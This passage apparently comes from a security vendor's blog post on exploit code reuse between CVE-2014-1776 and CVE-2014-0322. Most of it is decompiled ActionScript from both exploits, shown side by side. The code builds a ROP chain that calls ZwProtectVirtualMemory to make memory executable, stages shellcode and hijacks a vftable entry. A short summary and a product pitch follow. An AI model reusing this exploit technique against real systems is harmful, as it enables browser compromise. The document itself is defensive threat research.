|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | this.s\[\_local28\]\[((((\_local6 - \_local12) / 4) - 2) - 4)\] = (\_local41 \& 0xFFFFF000); // Address to change the protection on this.s\[\_local28\]\[((((\_local6 - \_local12) / 4) - 1) - 4)\] = 0x3000; // Number of bytes to change protection on this.s\[\_local28\]\[((\_local6 - \_local12) / 4)\] = \_local10; // Addr of ZwProtectVirtualMemory this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 1)\] = (\_local41 + 0x1C); // Return to (index of \_local41) + 7 this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 2)\] = 0xFFFFFFFF; // ProcessHandle (-1 = current process) this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 3)\] = (\_local6 - 0x18); // \&BaseAddress ((index of loc2) - 6 ==\> BaseAddress = loc2 \& 0xFFFFF000) this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 4)\] = (\_local6 - 0x14); // \&NumberOfBytesToProtect this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 5)\] = 0x40; // NewAccessProtection (0x40 = PAGE\_READWRITEEXECUTE this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 6)\] = (\_local6 - 0x1C); // \&OldAccessProtection this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 7)\] = 0x18002D89; // Shellcode begins here this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 8)\] = 0xB8901818; // MOV \[0x18181800\],EBP this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 9)\] = \_local9; // MOV EAX,Addr of vftable pointer this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 10)\] = 0x00C79090; this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 11)\] = \_local7; // MOV \[EAX\],Original vftable pointer this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 12)\] = 0xB8909090; // MOV EAX,Addr of overwritten vec len this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 13)\] = (this.m\_longArrBase - 8); this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 14)\] = 0x00C79090; // MOV \[EAX\],Original vec len this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 15)\] = this.m\_rawLen; this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 16)\] = 0xEC83E58B; // MOV ESP,EBP this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 17)\] = 0x2CEB902C; // SUB ESP,0x2C this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 17)\] = 0x2CEB902C; // JMP +0x2C this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 28)\] = this.m\_xchgInstAddr; // Overwrites the address of toString in the Sound object's vftable | **CVE-2014-0322** CVE-2014-1776 ROP and Shellcode Initiation ActionScript this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 - 2 - 4\] = loc2 \& 0xFFFFF000; // Address to change the protection on this.s\[ManipulatedBufferIndex\]\[((loc2 - ManipulatedBufferAddress) / 4 - 1) - 4\] = 0x1000; // Number of bytes to change protection on this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4\] = AddrOfZwProtectVirtualMemory; this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 1\] = loc2 + 0x1C; // Return to (index of loc2) + 7 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 2\] = 0xFFFFFFFF; // ProcessHandle (-1 = current process) this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 3\] = loc2 - 0x18; // \&BaseAddress ((index of loc2) - 6 ==\> BaseAddress = loc2 \& 0xFFFFF000) this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 4\] = loc2 - 0x14; // \&NumberOfBytesToProtect this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 5\] = 0x40; // NewAccessProtection (0x40 = PAGE\_READWRITEEXECUTE this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 6\] = loc2 - 0x1C; // \&OldAccessProtection this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 7\] = 0x20202D89; // Shellcode begins here this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 8\] = 0xB8901A1B; // MOV \[0x1A1B2020\],EBP this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 9\] = loc3; // MOV EAX,loc3 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 10\] = 0xC79090; // This restores the original vftable address of the sound object this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 11\] = loc35; // MOV \[EAX\],loc35 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 12\] = 0xB8909090; // MOV EAX,AddrOfManipulatedVector // This points to the beginning of the manipulated vector object - we're overwriting its size again this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 13\] = ManipulatedBufferAddress - 8; this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 14\] = 0xC79090; this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 15\] = 0x3FFFFFF0; // MOV \[EAX\],0x3FFFFFF0 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 16\] = 0xEC83E58B; // MOV ESP,EBP this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 17\] = 0x2CEB902C; // SUB ESP,0x2C this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 18\] = 0xCCCCCCCC; // JMP +0x2C this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 28\] = AddrOfStackPivotGadget; // Overwrites the address of toString in the Sound object's vftable // Shellcode continues here after the jump |-------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 - 2 - 4\] = loc2 \& 0xFFFFF000; // Address to change the protection on this.s\[ManipulatedBufferIndex\]\[((loc2 - ManipulatedBufferAddress) / 4 - 1) - 4\] = 0x1000; // Number of bytes to change protection on this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4\] = AddrOfZwProtectVirtualMemory; this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 1\] = loc2 + 0x1C; // Return to (index of loc2) + 7 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 2\] = 0xFFFFFFFF; // ProcessHandle (-1 = current process) this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 3\] = loc2 - 0x18; // \&BaseAddress ((index of loc2) - 6 ==\> BaseAddress = loc2 \& 0xFFFFF000) this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 4\] = loc2 - 0x14; // \&NumberOfBytesToProtect this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 5\] = 0x40; // NewAccessProtection (0x40 = PAGE\_READWRITEEXECUTE this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 6\] = loc2 - 0x1C; // \&OldAccessProtection this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 7\] = 0x20202D89; // Shellcode begins here this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 8\] = 0xB8901A1B; // MOV \[0x1A1B2020\],EBP this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 9\] = loc3; // MOV EAX,loc3 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 10\] = 0xC79090; // This restores the original vftable address of the sound object this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 11\] = loc35; // MOV \[EAX\],loc35 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 12\] = 0xB8909090; // MOV EAX,AddrOfManipulatedVector // This points to the beginning of the manipulated vector object - we're overwriting its size again this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 13\] = ManipulatedBufferAddress - 8; this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 14\] = 0xC79090; this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 15\] = 0x3FFFFFF0; // MOV \[EAX\],0x3FFFFFF0 this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 16\] = 0xEC83E58B; // MOV ESP,EBP this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 17\] = 0x2CEB902C; // SUB ESP,0x2C this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 18\] = 0xCCCCCCCC; // JMP +0x2C this.s\[ManipulatedBufferIndex\]\[(loc2 - ManipulatedBufferAddress) / 4 + 28\] = AddrOfStackPivotGadget; // Overwrites the address of toString in the Sound object's vftable // Shellcode continues here after the jump | ### Summary We have shown a very high correlation between the exploit code used in the CVE-2014-1776 attack, and the exploit code used in the CVE-2014-0322 attack. Clearly, the same code base was used. Whether this is indicative of the same actor or not, we cannot tell, since all code was freely available on the net when the recent attack commenced. Looking at the entire SWF file in both cases, it can be seen that some mistakes were made, and some code was copied without actually utilizing it or understanding why it is there. Nevertheless, the high correlation between the two exploits shows how easy it has become to reuse proven code from past exploits when preparing the next attack. This only means that organizations need to stay protected, as sophisticated attacks can be easily copied by teams who don't possess the knowledge to construct such an attack on their own. All endpoints on which Cyvera TRAPS was installed were (and are) protected from the CVE-2014-1776 attack: TRAPS stops this in-the-wild exploitation attempt at several different points. Since TRAPS does not rely on signatures or behaviors but on breaking the attacker's core techniques, TRAPS stops even zero-day attacks (including this one) without any need for updates. Of course, TRAPS users were also protected from the CVE-2014-0322 attack. *** ** * ** *** ## Related Blogs ### [Cybersecurity](https://www.paloaltonetworks.com/blog/category/cybersecurity-2/?ts=markdown), [Products and Services](https://www.paloaltonetworks.com/blog/category/products-and-services/?ts=markdown), [Reports](https://www.paloaltonetworks.com/blog/category/reports/?ts=markdown), [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown), [Threat Research](https://www.paloaltonetworks.com/blog/category/threat-research/?ts=markdown), [Unit 42](https://unit42-dev2.paloaltonetworks.com) [#### Top Three Ways Organizations Were Unprepared for Cyberattacks in 2023](https://www2.paloaltonetworks.com/blog/2024/11/top-three-ways-organizations-were-unprepared-for-cyberattacks-in-2023/) ### [Cybersecurity](https://www.paloaltonetworks.com/blog/category/cybersecurity-2/?ts=markdown), [Products and Services](https://www.paloaltonetworks.com/blog/category/products-and-services/?ts=markdown), [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown) [#### GenAI in Cybersecurity --- Threats and Defenses](https://www2.paloaltonetworks.com/blog/2024/10/genai-in-cybersecurity-threats-and-defenses/) ### [Unit 42](https://unit42-dev2.paloaltonetworks.com) [#### Unit 42 Vulnerability Research January 2018 Disclosures - Microsoft](https://www2.paloaltonetworks.com/blog/2018/01/unit42-unit-42-vulnerability-research-january-2018-disclosures-microsoft/) ### [Unit 42](https://unit42-dev2.paloaltonetworks.com) [#### Palo Alto Networks Unit 42 Vulnerability Research December 2017 Disclosures - Microsoft](https://www2.paloaltonetworks.com/blog/2017/12/unit42-palo-alto-networks-unit-42-vulnerability-research-december-2017-disclosures-microsoft/) ### [Unit 42](https://unit42-dev2.paloaltonetworks.com) [#### Palo Alto Networks Unit 42 Vulnerability Research November 2017 Disclosures](https://www2.paloaltonetworks.com/blog/2017/11/unit42-palo-alto-networks-unit-42-vulnerability-research-november-2017-disclosures/) ### [Unit 42](https://unit42-dev2.paloaltonetworks.com) [#### Palo Alto Networks Unit 42 Vulnerability Research August 2017 Disclosures](https://www2.paloaltonetworks.com/blog/2017/08/unit42-palo-alto-networks-unit-42-vulnerability-research-august-2017-disclosures/) ### Subscribe to the Blog! Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more. ![spinner](https://www2.paloaltonetworks.com/blog/wp-content/themes/panwblog2023/dist/images/ajax-loader.gif) Sign up Please enter a valid email. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) and acknowledge our [Privacy Statement](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown). Please look for a confirmation email from us. If you don't receive it in the next 10 minutes, please check your spam folder. This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. {#footer} {#footer} ## Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security?ts=markdown) * [Secure AI by Design](https://www.paloaltonetworks.com/precision-ai-security/secure-ai-by-design?ts=markdown) * [Prisma AIRS](https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security?ts=markdown) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security?ts=markdown) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions?ts=markdown) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention?ts=markdown) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering?ts=markdown) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire?ts=markdown) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security?ts=markdown) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security?ts=markdown) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall?ts=markdown) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations?ts=markdown) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls?ts=markdown) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager?ts=markdown) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription?ts=markdown) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os?ts=markdown) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama?ts=markdown) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase?ts=markdown) * [Prisma SASE](https://www.paloaltonetworks.com/sase?ts=markdown) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration?ts=markdown) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem?ts=markdown) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown) * [Prisma Access](https://www.paloaltonetworks.com/sase/access?ts=markdown) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser?ts=markdown) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan?ts=markdown) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation?ts=markdown) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex?ts=markdown) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security?ts=markdown) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security?ts=markdown) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security?ts=markdown) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud?ts=markdown) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex?ts=markdown) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam?ts=markdown) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr?ts=markdown) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar?ts=markdown) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse?ts=markdown) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response?ts=markdown) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam?ts=markdown) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42?ts=markdown) * [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess?ts=markdown) * [Incident Response](https://www.paloaltonetworks.com/unit42/respond?ts=markdown) * [Transform Your Security Strategy](https://www.paloaltonetworks.com/unit42/transform?ts=markdown) * [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners?ts=markdown) ## Company * [About Us](https://www.paloaltonetworks.com/about-us?ts=markdown) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales?ts=markdown) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility?ts=markdown) * [Customers](https://www.paloaltonetworks.com/customers?ts=markdown) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations?ts=markdown) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom?ts=markdown) ## Popular Links * [Blog](https://www.paloaltonetworks.com/blog/?ts=markdown) * [Communities](https://www.paloaltonetworks.com/communities?ts=markdown) * [Content Library](https://www.paloaltonetworks.com/resources?ts=markdown) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia?ts=markdown) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z?ts=markdown) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance?ts=markdown) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure?ts=markdown) * [Sitemap](https://www.paloaltonetworks.com/sitemap?ts=markdown) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![PAN logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center?ts=markdown) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) * [Documents](https://www.paloaltonetworks.com/legal?ts=markdown) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector?ts=markdown) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language